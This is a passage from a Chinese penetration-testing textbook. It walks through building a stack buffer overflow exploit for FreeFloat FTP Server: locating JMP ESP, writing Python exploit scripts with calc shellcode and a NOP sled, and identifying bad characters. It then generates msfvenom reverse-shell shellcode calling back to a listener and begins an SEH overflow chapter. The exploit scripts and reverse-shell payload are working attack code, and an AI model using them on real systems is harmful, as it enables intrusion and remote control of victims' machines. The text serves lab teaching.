图6-21　接收数据之后程序的内存分布情况

接下来的工作是找到一条地址不会发生改变的JMP ESP指令。ntdll.dll（NT Layer DLL）是Windows NT操作系统的重要模块，属于操作系统级别的文件，用于堆栈释放、进程管理。kernel32.dll是Windows 9x/Me中非常重要的32位动态链接库文件，属于内核级文件，它控制着系统的内存管理、数据的输入输出操作和中断处理，当Windows启动时，kernel32.dll就驻留在内存中特定的写保护区域，使其他程序无法占用这个内存区域。

一些经常用到的动态链接库会被映射到内存，如kernel.32.dll、user32.dll会被几乎所有进程加载，且加载基址始终相同（不同操作系统上可能不同）。现在只需要在这些动态链接库中找到JMP ESP指令即可。此时找到的JMP ESP地址一直都不会变。

这里还用到Immunity Debugger，不过这个工具本身并没有提供查找JMP ESP指令的功能，需要借助一个使用Python编写的插件来完成这个任务，这个插件就是mona.py，可以从https://github.com/corelan/mona下载后使用。

mona.py的使用方法很简单，只需要将下载好的插件复制到Immunity Debugger安装目录下的PyCommands文件夹中就可以了。然后在Immunity Debugger的命令行中输入!mona命令，如图6-22所示。

如果mona.py插件已经成功加载，执行命令打开一个Log data窗口，如图6-23所示，其中给出了mona.py的介绍和使用方法。

在命令行中执行“!monajmp -r esp”来查找JMP ESP指令，执行结果如图6-24所示。

图6-22　在Immunity Debugger中启动mona

图6-23　mona.py的工作界面

图6-24　使用mona.py查找到的JMP ESP指令

可以看到，找到很多条可以使用的指令。这些指令主要来源于SHELL32.dll、GDI32.dll、ADVAPI32.dll，这里选择第一条指令作为跳转指令，并记录下地址“7C9D30D7”。

6.4　编写渗透程序

6.3节中获取的地址存在一个问题。对于同样的一个地址，数据在网络传输和CPU存储时的表示方法是不同的，这里有一个大端和小端的概念。大端（Big-Endian）、小端（Little-Endian）以及网络字节序（Network Byte Order）的概念在编程中经常会遇到，其中网络字节序一般是指大端（对大部分网络传输协议而言）传输。大端、小端的概念是面向多字节数据类型的存储方式定义的，小端是低位在前（低位字节存储在内存低地址，字节高低顺序和内存高低地址顺序相同）；大端是高位在前（其中“前”是指靠近内存低地址，存储在硬盘上就是先写那个字节）。概念上字节序也叫主机序。

这里在使用Python编程向目标发送JMP ESP指令的地址时使用的是大端格式，而当前的地址“7C9D30D7”其实是小端格式，两者需要进行调整。如果希望使用“7C9D30D7”来覆盖目标地址，在使用Python编写渗透程序的时候就需要使用倒置的地址“/xD7/x30/x9D/x7C”。

接下来向目标发送能够导致系统溢出到EIP的数据。之前已经计算出EIP的偏移量是230，那么现在提供230个字符A即可，之后就是“\xD7\x30\ x9D\x7C”。具体代码如下：

     import socket
     buff=b"\x41"*230+b"\xD7\x30\x9D\x7C"
     target="192.168.157.130"
     s=socket.socket()
     s.connect((target,21))
     data=b"USER "+buff+b"\r\n"
     s.send(data)
     s.close()

然后重复6.3节的步骤，在虚拟机中打开FreeFloat FTP Server软件，然后执行上面的脚本，观察调试器中的提示，找到溢出的地址，如图6-25所示。

图6-25　找到溢出的地址

胜利就在眼前。按照之前的设计，现在只需要添加希望在目标计算机上执行的代码即可。接下来编写一段可以在目标计算机启动计算器程序的脚本：

     "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
     "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
     "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
     "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
     "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
     "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
     "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
     "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
     "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
     "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
     "\x7f\xe8\x7b\xca";

如果在目标计算机上执行这段脚本，会启动计算器程序。下面将这段脚本添加到原来程序的buff中，修改后的程序如下所示：

     import socket
     buff = b"\x41"*230+b"\xD7\x30\x9D\x7C"
     shellcode=b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
     shellcode+=b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
     shellcode+=b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
     shellcode+=b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
     shellcode+=b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
     shellcode+=b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
     shellcode+=b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
     shellcode+=b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
     shellcode+=b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
     shellcode+=b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
     shellcode+=b"\x7f\xe8\x7b\xca"
     buff+=shellcode
     target = "192.168.157.130"
     s=socket.socket()
     s.connect((target,21))
     data=b"USER "+buff+b"\r\n"
     s.send(data)
     s.close()

执行这段脚本之后，目标系统的FreeFloat FTP Server软件崩溃，却没有启动计算器程序，这是为什么呢？通过启动Immunity Debugger进行调试，可以看到这里之前的命令都执行成功了，但是ESP的地址向后发生了偏移，shellcode的代码并没有全部载入ESP中，最前面的一部分在ESP的外面，这样会导致即使控制了程序，但是由于ESP中只有一部分shellcode，程序也不能够正常执行。

那么该如何解决这个问题呢？解决的方法就是一个特殊的指令\x90。\x90其实就是NOPS，即空指令，这个指令不会执行任何的实际操作。但它也是一个指令，因此会顺序地向下执行，这样即使不知道ESP的真实地址，只需要在EIP后面添加足够多的空指令将shellcode偏移进ESP，就可以顺利执行shellcode。

例如，现在向程序中添加20个\x90，修改后的代码如下所示：

     import socket
     buff = b"\x41"*230+b"\xD7\x30\x9D\x7C"+b"\x90"*20
     shellcode=b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
     shellcode+=b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
     shellcode+=b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
     shellcode+=b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
     shellcode+=b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
     shellcode+=b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
     shellcode+=b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
     shellcode+=b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
     shellcode+=b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
     shellcode+=b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
     shellcode+=b"\x7f\xe8\x7b\xca"
     buff+=shellcode
     target = "192.168.157.130"
     s=socket.socket()
     s.connect((target,21))
     data=b"USER "+buff+b"\r\n"
     s.send(data)
     s.close()

现在运行这段脚本，查看目标系统的反应。可以看到，当右侧的程序运行之后，目标系统弹出一个计算器程序窗口，如图6-26所示，这说明编写的漏洞渗透程序已经成功运行。

图6-26　执行脚本时弹出的计算器程序窗口（该测试中目标就是本机）

6.5　坏字符的确定

虽然上面的漏洞渗透程序编写得很成功，但是在实际中却未必如此顺利。即使所有需要的量都计算得很准确，但后来加入的shellcode未必能成功执行。前面实例中的230个a、JMP ESP的指令地址以及要执行的shellcode的内容都是以FTP的用户名的形式输入的，也就是说，其实前面的所有内容都是FTP的用户名。FTP对用户名是有限制的，并非所有的字符都可以出现在用户名中。如果内容中包含了不被允许的字符，就可能导致FTP服务器拒绝接收后面的内容，从而导致只传送了一部分代码。每个程序，甚至每个程序入口接收的规则都不一样，很难直接指出哪些是坏字符，但是可以通过逐个测试的方法找出这些字符。下面列出了所有可能的字符。

     "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\
     x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
     "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\
     x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
     "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\
     x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
     "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\
     x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
     "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\
     x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
     "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\
     xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
     "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\
     xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
     "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\
     xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

以前常用的方法是逐个尝试这些字符，然后找出其中的坏字符。这种方法的效率十分低下，可以使用一些工具（例如mona.py）来完成这个任务。出于学习的目的，采用这种逐个尝试的方法可以更容易地掌握模块编写的原理。首先回头看一下之前编写的用来连接服务器的程序。

     import socket
     buff=b"\x41"*230+b"\x42"*4+b"\x41"*50
     target="192.168.157.130"
     s=socket.socket()
     s.connect((target,21))
     data=b"USER "+buff+b"\r\n"
     s.send(data)
     s.close()

首先启动Immunity Debugger，接下来将FreeFloat FTP Server进程附加到Immunity Debugger中。

在Kali Linux 2中运行这个程序的时候，FreeFloat FTP Server程序崩溃。在Immunity Debugger查看，可以看到如图6-27所示的结果，找到“42424242”所在的位置。

图6-27　找到用户名的输入位置

之前已经讨论过这个问题，BBBB所在的位置就是EIP指针的位置，它后面的位置就是要放置坏字符的位置。接下来修改上面的程序，在BBBB的后面添加所有的字符，修改后的程序会将所有的字符都发送到目标服务器中，但是坏字符串会导致程序终止。仍然执行这段程序，并在Immunity Debugger中查看引起程序终止的位置，如图6-28所示。

图6-28　引起程序终止的位置

可以看到，BBBB后面第一行的尾部出现了Password required，这说明BBBB后面的第一行里出现了导致目标软件认为用户名已经输入结束的字符。这一行一共有4个字符“\x00\x01\x02\x03”，首先将其中的\x00去掉，如果程序继续向下执行，那么说明这个字符是坏字符，修改内容如下所示。

     "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\
     x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

再次运行程序，查看一下结果。第二次引起程序终止的位置如图6-29所示。

显然前面的8个字符没有问题，在第三行输入用户名时再次被终止，这说明“\x01\x02\x03\x04\x05\x06\x07\x08\x09”没有问题，出问题的一定是“\x0a\x0b\x0c\x0d”中的一个。再逐个去掉这4个字符，首先去掉\x0a，然后执行程序，使用Immunity Debugger查看变化。第三次引起程序终止的位置如图6-30所示。

图6-29　第二次引起程序终止的位置

图6-30　第三次引起程序终止的位置

很幸运，坏字符刚好是\x0a，所以一次就尝试出来了。如果坏字符是\x0d，要尝试的次数显然会增多。剩下的步骤读者最好自行完成，程序中的坏字符是“\x00”“\x0a”“\x40”，那么在编写shellcode的时候，就需要避免这3个坏字符。

6.6　使用Metasploit生成shellcode

发现目标的漏洞之后，就可以查找对应的漏洞渗透模块。单靠别人编写好的漏洞渗透模块并不能实现预期的功能。6.4节中的例子中利用该漏洞渗透模块39009.py实现了对目标的渗透，成功崩溃了目标系统上运行的FreeFloat FIP Server软件，并启动了计算器程序，但是，如果需要在目标上执行其他功能呢？

之前曾经将漏洞渗透模块比喻成一把进入目标系统的钥匙，现在已经获得了这把珍贵的钥匙，接下来可以将一段代码（也就是之前提到的shellcode）送到目标系统并执行。如果可以选择，你希望这段代码实现哪个功能？

□　让目标系统上的服务崩溃。

□　在目标系统上执行某个程序。

□　直接控制目标系统。

是不是第三个选择是最激动人心的呢？希望在目标系统上运行的代码应该是一个远程控制程序。远程控制程序是一个很常见的计算机用语，指的是可以在一台设备上操纵另一台设备的软件。

通常情况下，远程控制程序一般分成两部分：被控端和主控端。如果一台计算机上执行了被控端，就会被另外一台装有主控端的计算机所控制。曾经掀起全民黑客运动的“灰鸽子”就是这样一个远程控制软件，据统计，早在2005年，“灰鸽子”已经感染了近百万台计算机。

现在世界上广泛使用的远程控制软件有很多种，其中一些确实为人们提供了便利，例如TeamViewer，也有一些是专门为黑客入侵所开发的后门木马。

在这里并不去考虑这些软件的使用目的是善意的还是恶意的，仅仅从技术的角度对其进行分类。实际上，远程控制软件的分类标准有很多个，这里只介绍两个最常用的标准。

第一个标准是按照远程控制软件被控端与主控端的连接方式进行分类。按照不同的连接方式，可以将远程控制软件分为正向和反向两种。

假设这样一个场景，一个黑客设法在受害者的计算机上执行远程控制软件服务器端，黑客现在所使用的计算机称为Hacker，而受害者所使用的计算机称为A。如果说黑客所使用的远程控制软件是正向的，那么A在执行远程控制软件服务器端之后只会在主机上打开一个端口，然后等待Hacker连接，注意此时A并不会主动通知Hacker（而反向远程控制软件会），因此黑客必须知道A的IP地址。这导致正向远程控制在实际操作中具有很大的困难。

反向远程控制则截然不同，当A在执行远程控制软件被控端之后，会主动通知Hacker，“嗨，我现在受你的控制了，请下命令吧”，因此黑客无须知道A的IP地址，只需要把这个远程控制软件被控端发送给目标即可。现在黑客所使用的远程控制软件大都采用反向控制。

第二个标准是按照目标操作系统进行分类，这就很容易理解了，平时在Windows上运行的软件大都是exe文件，而Android操作系统上则大都是apk文件。显然Windows平台上可用的远程控制工具对于手机上使用的Android操作系统是毫无作用的。目前常见的操作系统主要有微软的Windows、谷歌的Android、苹果的iOS以及各种Linux系统等。

另外，随着互联网不断发展，出现了针对各种网站开发技术的远程控制软件，这些远程控制软件采用和网站开发相同的语言，例如ASP.NET、PHP等。

远程控制软件中的被控端和主控端必须成对使用，被控端是要运行在被目标计算机上的，这个程序的功能听起来和木马很像，实际上也是如此。另外，要在渗透漏洞代码中替换的shellcode部分就是这个远程控制程序的被控端的代码。现在先来学习一下如何生成被控端（被控端既可以是一段代码，也可以是一个直接运行的程序）。

Kali Linux 2提供了多个可以用来产生远程控制被控端程序的方式，但是其中最为简单强大的方法应该是msfvenom命令。这个命令是著名渗透测试软件Metasploit的一个功能，它可以直接在Kali Linux 2中运行。

旧版本的Metasploit中提供了两个关于远程控制程序被控端的命令，其中，msfpayload负责生成攻击载荷，msfencode负责对攻击载荷进行编码。新版本的Metasploit中将这两个命令整合成为msfvenom命令，下面给出msfvenom中几个常见的参数。

□　-p：--payload <payload>指定要生成的payload（攻击荷载）。如果需要使用自定义的payload，请使用'-'或者stdin指定。

□　-f：--format <format>指定输出格式（可以使用--help-formats来获取msf支持的输出格式列表）。

□　-b：避免使用的字符。

□　-e：编码的格式。

□　-o：--out <path>指定存储payload的位置。

□　--payload-options：列举payload的标准选项。

□　--help-formats：查看msf支持的输出格式列表。

现在已经编写好一个可以使用的漏洞渗透模块，那么如何利用Metasploit和这个编写好的模块协同工作呢？首先使用msfvenom命令创建一个可用的shellcode，注意最后生成的格式要选择-f python（复制起来会方便很多）。

     kali@kali:~$ msfvenom -p Windows/shell_reverse_tcp LHOST=192.168.157.156
     LPORT=5001 -b '\x00\x0a\x40' -f python

生成的shellcode代码如下所示：

     buf =  b""
     buf += b"\xdb\xc9\xd9\x74\x24\xf4\x58\xbb\xdd\x39\xcf\x34\x31"
     buf += b"\xc9\xb1\x56\x31\x58\x18\x03\x58\x18\x83\xe8\x21\xdb"
     buf += b"\x3a\xc8\x31\x9e\xc5\x31\xc1\xff\x4c\xd4\xf0\x3f\x2a"
     buf += b"\x9c\xa2\x8f\x38\xf0\x4e\x7b\x6c\xe1\xc5\x09\xb9\x06"
     buf += b"\x6e\xa7\x9f\x29\x6f\x94\xdc\x28\xf3\xe7\x30\x8b\xca"
     buf += b"\x27\x45\xca\x0b\x55\xa4\x9e\xc4\x11\x1b\x0f\x61\x6f"
     buf += b"\xa0\xa4\x39\x61\xa0\x59\x89\x80\x81\xcf\x82\xda\x01"
     buf += b"\xf1\x47\x57\x08\xe9\x84\x52\xc2\x82\x7e\x28\xd5\x42"
     buf += b"\x4f\xd1\x7a\xab\x60\x20\x82\xeb\x46\xdb\xf1\x05\xb5"
     buf += b"\x66\x02\xd2\xc4\xbc\x87\xc1\x6e\x36\x3f\x2e\x8f\x9b"
     buf += b"\xa6\xa5\x83\x50\xac\xe2\x87\x67\x61\x99\xb3\xec\x84"
     buf += b"\x4e\x32\xb6\xa2\x4a\x1f\x6c\xca\xcb\xc5\xc3\xf3\x0c"
     buf += b"\xa6\xbc\x51\x46\x4a\xa8\xeb\x05\x02\x1d\xc6\xb5\xd2"
     buf += b"\x09\x51\xc5\xe0\x96\xc9\x41\x48\x5e\xd4\x96\xd9\x48"
     buf += b"\xe7\x49\x61\x18\x19\x6a\x91\x30\xde\x3e\xc1\x2a\xf7"
     buf += b"\x3e\x8a\xaa\xf8\xea\x26\xa1\x6e\xd5\x1e\x28\xf2\xbd"
     buf += b"\x5c\x53\x18\xb7\xe9\xb5\x4e\x97\xb9\x69\x2f\x47\x79"
     buf += b"\xda\xc7\x8d\x76\x05\xf7\xad\x5d\x2e\x92\x41\x0b\x06"
     buf += b"\x0b\xfb\x16\xdc\xaa\x04\x8d\x98\xed\x8f\x27\x5c\xa3"
     buf += b"\x67\x42\x4e\xd4\x1f\xac\x8e\x25\x8a\xac\xe4\x21\x1c"
     buf += b"\xfb\x90\x2b\x79\xcb\x3e\xd3\xac\x48\x38\x2b\x31\x78"
     buf += b"\x32\x1a\xa7\xc4\x2c\x63\x27\xc4\xac\x35\x2d\xc4\xc4"
     buf += b"\xe1\x15\x97\xf1\xed\x83\x84\xa9\x7b\x2c\xfc\x1e\x2b"
     buf += b"\x44\x02\x78\x1b\xcb\xfd\xaf\x1f\x0c\x01\x2d\x08\xb5"
     buf += b"\x69\xcd\x08\x45\x69\xa7\x88\x15\x01\x3c\xa6\x9a\xe1"
     buf += b"\xbd\x6d\xf3\x69\x37\xe0\xb1\x08\x48\x29\x17\x94\x49"
     buf += b"\xde\x8c\x27\x33\xaf\x33\xc8\xc4\xb9\x57\xc9\xc4\xc5"
     buf += b"\x69\xf6\x12\xfc\x1f\x39\xa7\xbb\x10\x0c\x8a\xea\xba"
     buf += b"\x6e\x98\xed\xee"

可以将这段代码的功能理解为一个木马。木马一旦在目标主机上运行，就会在目标主机上打开一个端口，然后控制目标主机。加入这段shellcode之后的代码如下所示：

     import socket
     buf =  b""
     buf += b"\xdb\xc9\xd9\x74\x24\xf4\x58\xbb\xdd\x39\xcf\x34\x31"
     buf += b"\xc9\xb1\x56\x31\x58\x18\x03\x58\x18\x83\xe8\x21\xdb"
     buf += b"\x3a\xc8\x31\x9e\xc5\x31\xc1\xff\x4c\xd4\xf0\x3f\x2a"
     buf += b"\x9c\xa2\x8f\x38\xf0\x4e\x7b\x6c\xe1\xc5\x09\xb9\x06"
     buf += b"\x6e\xa7\x9f\x29\x6f\x94\xdc\x28\xf3\xe7\x30\x8b\xca"
     buf += b"\x27\x45\xca\x0b\x55\xa4\x9e\xc4\x11\x1b\x0f\x61\x6f"
     buf += b"\xa0\xa4\x39\x61\xa0\x59\x89\x80\x81\xcf\x82\xda\x01"
     buf += b"\xf1\x47\x57\x08\xe9\x84\x52\xc2\x82\x7e\x28\xd5\x42"
     buf += b"\x4f\xd1\x7a\xab\x60\x20\x82\xeb\x46\xdb\xf1\x05\xb5"
     buf += b"\x66\x02\xd2\xc4\xbc\x87\xc1\x6e\x36\x3f\x2e\x8f\x9b"
     buf += b"\xa6\xa5\x83\x50\xac\xe2\x87\x67\x61\x99\xb3\xec\x84"
     buf += b"\x4e\x32\xb6\xa2\x4a\x1f\x6c\xca\xcb\xc5\xc3\xf3\x0c"
     buf += b"\xa6\xbc\x51\x46\x4a\xa8\xeb\x05\x02\x1d\xc6\xb5\xd2"
     buf += b"\x09\x51\xc5\xe0\x96\xc9\x41\x48\x5e\xd4\x96\xd9\x48"
     buf += b"\xe7\x49\x61\x18\x19\x6a\x91\x30\xde\x3e\xc1\x2a\xf7"
     buf += b"\x3e\x8a\xaa\xf8\xea\x26\xa1\x6e\xd5\x1e\x28\xf2\xbd"
     buf += b"\x5c\x53\x18\xb7\xe9\xb5\x4e\x97\xb9\x69\x2f\x47\x79"
     buf += b"\xda\xc7\x8d\x76\x05\xf7\xad\x5d\x2e\x92\x41\x0b\x06"
     buf += b"\x0b\xfb\x16\xdc\xaa\x04\x8d\x98\xed\x8f\x27\x5c\xa3"
     buf += b"\x67\x42\x4e\xd4\x1f\xac\x8e\x25\x8a\xac\xe4\x21\x1c"
     buf += b"\xfb\x90\x2b\x79\xcb\x3e\xd3\xac\x48\x38\x2b\x31\x78"
     buf += b"\x32\x1a\xa7\xc4\x2c\x63\x27\xc4\xac\x35\x2d\xc4\xc4"
     buf += b"\xe1\x15\x97\xf1\xed\x83\x84\xa9\x7b\x2c\xfc\x1e\x2b"
     buf += b"\x44\x02\x78\x1b\xcb\xfd\xaf\x1f\x0c\x01\x2d\x08\xb5"
     buf += b"\x69\xcd\x08\x45\x69\xa7\x88\x15\x01\x3c\xa6\x9a\xe1"
     buf += b"\xbd\x6d\xf3\x69\x37\xe0\xb1\x08\x48\x29\x17\x94\x49"
     buf += b"\xde\x8c\x27\x33\xaf\x33\xc8\xc4\xb9\x57\xc9\xc4\xc5"
     buf += b"\x69\xf6\x12\xfc\x1f\x39\xa7\xbb\x10\x0c\x8a\xea\xba"
     buf += b"\x6e\x98\xed\xee"
     buff= b"\x41"*230+b"\xD7\x30\x9D\x7C"+b"\x90"*20
     buff+=buf
     target="192.168.157.130"
     s=socket.socket()
     s.connect((target,21))
     data=b"USER "+buff+b"\r\n"
     s.send(data)
     s.close()

现在启动Metasploit，这是因为需要一个主控端。

     kali@kali:~# msfconsole

启动Metasploit之后，执行如下命令：

     msf> use exploit/multi/handler
     msf exploit(handler) > set payload Windows/meterpreter/reverse_tcp
     msf exploit(handler) > set lhost 192.168.157.156
     msf exploit(handler) > set lport 5001
     msf exploit(handler) > exploit

执行结果如图6-31所示。

图6-31　程序执行结果

然后执行渗透脚本，执行之后可以看到Metasploit的客户端成功建立远程控制连接，如图6-32所示。

图6-32　成功建立远程控制连接

现在可以使用编写的程序来远程控制目标计算机了。

6.7　小结

在本章中针对一个特定漏洞进行渗透模块开发，这是一个存在于FreeFloat FTP Server软件上的栈溢出类型漏洞。这类漏洞极为普遍，因而对这种漏洞的研究可以提高渗透测试方面的能力。

在本章开始的时候介绍了如何引起一个程序的崩溃，利用崩溃的信息可以找出该程序的偏移地址。然后讲解了如何利用这个地址来编写一个渗透开发模块，这里面涉及如何查找JMP ESP指令，如何编写渗透程序，如何找到引起程序终止的坏字符等知识点。最后使用Metasploit生成shellcode，并将这个shellcode加入渗透开发模块。在最后使用编写的程序对目标的漏洞进行测试。

第7章　对漏洞进行渗透（高级部分）

第6章讲解了如何针对一个软件来编写渗透模块，编写的过程并不复杂，主要是找到一条地址固定的JMP ESP指令。另外还介绍了一些有用的技能，包括如何找到改写EIP内容的地址，如何使用NOP指令进行填充，如何确定坏字符等。

不过，随着Windows操作系统的安全性不断提高（尤其是Windows 10等系统的推出），这种简单利用JMP ESP指令执行数据区域代码的方法已经很难实现，不过很快就有人发现了一条新的途径，那就是Windows下的结构化异常处理（Structured Exception Handling，SEH）机制。有过编程经验的读者一定会对try/except或者try/catch这种结构不陌生，其实这就是结构化异常处理。

     try:
         //要执行的代码
     except:
         //异常处理代码

这种格式书写的代码表示：try中的代码会执行，但是，如果在执行过程中发生异常，就会执行except中的代码，也就是异常处理。

本章中将会学习如何利用结构化异常处理（SEH）机制来完成渗透模块的编写。本章的内容将围绕如下主题展开。

□　SEH溢出的原理。

□　编写基于SEH溢出渗透模块的要点。

□　使用Python编写渗透模块。

7.1　SEH溢出简介

图7-1　程序执行异常

大多数人都认为程序员是一个高智商的职业，甚至很多程序员也这样认为。所以经常有程序员说：“程序可能会出现错误，但那是别人造成的，与我无关。”事实却未必如此，在编写程序时，任何人都可能出现错误，仅依靠人工检查就想去除所有的错误，这是不可能的。

常见的错误有很多种，例如，在进行除法运算的时候，如果使用0作为除数，就会出现异常。当异常出现的时候，就该异常处理程序（exception handler）起作用了，如图7-1所示。

异常处理程序是用来捕获在程序运行期间生成的异常和错误的代码模块，这种机制可以保证程序继续运行而不崩溃。Windows操作系统中包含默认的异常处理程序，在一个应用程序崩溃的时候，系统会弹出一个“程序遇到错误，需要关闭”的窗口。当程序产生异常之后，就会从栈中加载catch代码的地址并调用catch代码。因此，如果以某种方式设法覆盖了栈中异常处理程序的catch代码地址，就能够控制这个应用程序。接下来看一个使用异常处理程序的应用程序在栈中是如何安排其内容的。图7-2给出了向程序提供大量的A，从而导致溢出之后的内存分布。

图7-2　程序发生溢出之后的内存分布情况

相比起第6章介绍的程序，使用了异常处理的程序要多出一部分内容。这部分内容就是异常处理程序的地址。目前新型的操作系统安全性较强，可以执行的代码和不可以执行的数据是分开的，虽然仍然可以像第6章介绍的程序中将shellcode放置在数据区域中，但是这个shellcode是无法执行的。不过可以看到异常处理程序的地址仍然在可以执行的代码区域，现在可以利用这个地址来执行shellcode。

因为有很多种异常，所以异常处理程序也不是一个简单的结构，而是一个异常处理链。当捕获异常之后，会将异常交给SEH链，如果当前的处理程序无法处理这个异常，就会交给下一个异常处理程序。SEH链的结构如图7-3所示。

图7-3　SEH链的结构

图7-3中，每一条SEH记录都由8个字节所组成，其中前4个字节是它后面的SEH异常处理程序的地址，后4个字节是catch块的地址。一个应用程序可能有多个异常处理程序，因此一个SEH记录用前4个字节保存下一条SEH记录的地址。

可以利用这个SEH记录来实现对程序的溢出渗透。下面给出基于SEH溢出进行渗透的思路：

（1）引发应用程序的异常，这样才可以调用异常处理程序。

（2）使用一条POP/POP/RET指令的地址来改写异常处理程序的地址，因为要执行切换到下一条SEH记录的地址（catch异常处理程序地址前面的4个字节）。之所以使用POP/POP/RET，是因为用来调用catch块的内存地址保存在栈中，指向下一个异常处理程序指针的地址就是ESP+8（ESP是栈顶指针）。因此，两个POP操作就可以将执行重定向到下一条SEH记录的地址。

（3）在步骤（1）输入数据引发异常的时候，已经将到下一条SEH记录的地址替换成跳转到攻击载荷的JMP指令的地址。因此，当步骤（2）结束时，程序就会跳过指定数量的字节去执行shellcode。

（4）当成功跳转到shellcode之后，攻击载荷就会执行，进而获得目标系统的管理权限。

如图7-4所示，当一个异常发生时，就会调用异常处理程序的地址（已经使用POP/POP/RET指令的地址改写过）。这会导致POP/POP/RET的执行，并将执行的流程重新定向到下一条SEH记录的地址（已经使用一个短跳转指令改写过）。因此，当JMP指令执行的时候，它会指向shellcode；而在应用程序看来，这个shellcode只是另一条SEH记录。

图7-4　SEH记录调用的过程

7.2　编写基于SEH溢出渗透模块的要点

现在已经了解了SEH溢出的原理，接下来总结一下编写渗透模块的要点。

□　到catch位置的偏移量。

□　POP/POP/RET地址。

□　短跳转指令。

这次实验使用了两个虚拟机：一个是Kali Linux 2，用作Python编程环境；另一个是Windows 7，上面运行着Easy File Sharing Web Server软件，IP地址为192.168.169.133，如图7-5所示。

图7-5　实验中使用的虚拟机

7.2.1　计算到catch位置的偏移量

接下来要处理的有漏洞的应用程序是Easy File Sharing Web Server（这里使用的是7.2版）。这个Web应用程序运行时的界面如图7-6所示。

图7-6　Easy File Sharing Web Server运行界面

Easy File Sharing Web Server在处理请求时存在漏洞——一个恶意的登录请求就可以引起缓冲区溢出，从而改变SEH链的地址。图7-7给出了访问这个服务器的页面。

图7-7　使用浏览器访问服务器的页面

首先编写一个连接到Easy File Sharing Web Server的简单程序。注意，不要试图在登录页面的Username处填写过多的字符，页面的文本框输入有长度限制。与第6章做的一样，先来编写一段登录代码。

这段代码中使用了requests库中的post函数。

     import requests
     host='192.168.50.30'
     port='80'
     cookies = dict()
     data=dict()
